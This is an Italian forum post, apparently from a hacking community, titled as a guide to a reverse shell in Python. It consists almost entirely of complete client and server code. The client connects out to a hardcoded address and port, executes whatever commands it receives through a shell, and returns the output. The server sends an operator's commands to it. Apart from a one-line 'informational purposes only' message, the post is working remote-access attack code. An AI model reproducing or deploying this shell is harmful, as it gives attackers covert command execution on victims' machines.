Guida Reverse Shell in python

JokerHack22

Utente Iron
1 Agosto 2021
11
2
11
Video Spiegazione Reverse Shell


Codice Reverse Shell in Python

Client

Python:
import os
import socket
import subprocess
import sys

def receiver(s):
    """Ricevi comandi di sistema ed eseguili."""
    while True:
        cmd_bytes = s.recv(4096)
        cmd = cmd_bytes.decode("utf-8")
        if cmd.startswith("cd "):
            os.chdir(cmd[3:])
            s.send(b"$: ")
            continue
        if len(cmd) > 0:
            p = subprocess.run(cmd, shell=True, capture_output=True)
            data = p.stdout + p.stderr
            s.sendall(data + b"$: ")
 
def connect(address):
    """Stabilisci una connessione con address, quindi chiama receiver()."""
    try:
        s = socket.socket()
        s.connect(address)
        print("Connessione Stabilita.")
        print(f"Indirizzo: {address}")
    except socket.error as error:
        print("Qualcosa è andato storto... info di seguito.")
        print(error)
        sys.exit()
    receiver(s)
    

if __name__ == "__main__":
    host = "192.168.1.7"
    port = 19876
    connect((host, port))

Server

Python:
import socket
import sys

def send_commands(s, conn):
    """Prendi un comando dall'utente e invialo al Client."""
    print("\nCtrl + C per chiudere la connessione.")
    print("Naviga il sistema come al solito con cd.")
    print("Questo codice è a solo scopo informativo.\n")
    print("$: ", end="")
    while True:
        try:
            cmd = input()
            if len(cmd) > 0:
                conn.sendall(cmd.encode())
                data = conn.recv(4096)
                print(data.decode("utf-8"), end="")
        except KeyboardInterrupt:
            print("\nA presto.")
            conn.close()
            s.close()
            sys.exit()
        except Exception as e:
            print(e)
            conn.close()
            s.close()
            sys.exit()         
        
def server(address):
    """Inizializza un server socket e attendi una connessione."""
    try:
        s = socket.socket()
        s.bind(address)
        s.listen()
        print("Server Inizializzato. Sono in ascolto...")
    except Exception as e:
        print("\nSembra che qualcosa sia andato storto.")
        print(e)
        restart = input("\nVuoi che reinizializzi il server? s/n ")
        if restart.lower() == "s" or restart.lower() == "si":
            print("\nRicevuto. Sto reinizializzando il server...\n")
            server(address)
        else:
            print("\nA presto, ed Happy Coding! ;)\n")
            sys.exit()
    conn, client_addr = s.accept()
    print(f"Connessione Stabilita: {client_addr}")
    send_commands(s, conn)


if __name__ == "__main__":
    host = "192.168.1.7"
    port = 19876
    server((host, port))